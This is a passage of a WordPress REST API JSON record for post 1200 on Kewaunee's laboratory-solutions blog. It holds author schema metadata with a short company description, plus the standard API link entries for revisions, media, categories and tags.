name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.kewaunee.in\/blog\/#\/schema\/person\/8984b794f6a03b8701a044f24c072f1a","name":"Kewaunee International Group","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.kewaunee.in\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ef98529dacaa04a728210d20f23a4522?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ef98529dacaa04a728210d20f23a4522?s=96&d=mm&r=g","caption":"Kewaunee International Group"},"description":"Kewaunee, the global leader in total laboratory solutions, empowers organisations to achieve competitive advantage through safe, efficient, and contemporary laboratories. In existence since 1906, Kewaunee powers the laboratories for over 5,000 customers in more than 100 countries.","url":"https:\/\/www.kewaunee.in\/blog\/author\/users\/"}]}},"_links":{"self":[{"href":"https:\/\/www.kewaunee.in\/blog\/wp-json\/wp\/v2\/posts\/1200"}],"collection":[{"href":"https:\/\/www.kewaunee.in\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.kewaunee.in\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.kewaunee.in\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.kewaunee.in\/blog\/wp-json\/wp\/v2\/comments?post=1200"}],"version-history":[{"count":4,"href":"https:\/\/www.kewaunee.in\/blog\/wp-json\/wp\/v2\/posts\/1200\/revisions"}],"predecessor-version":[{"id":10382,"href":"https:\/\/www.kewaunee.in\/blog\/wp-json\/wp\/v2\/posts\/1200\/revisions\/10382"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.kewaunee.in\/blog\/wp-json\/wp\/v2\/media\/1201"}],"wp:attachment":[{"href":"https:\/\/www.kewaunee.in\/blog\/wp-json\/wp\/v2\/media?parent=1200"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.kewaunee.in\/blog\/wp-json\/wp\/v2\/categories?post=1200"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.kewaunee.in\/blog\/wp-json\/wp\/v2\/tags?post=1200"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}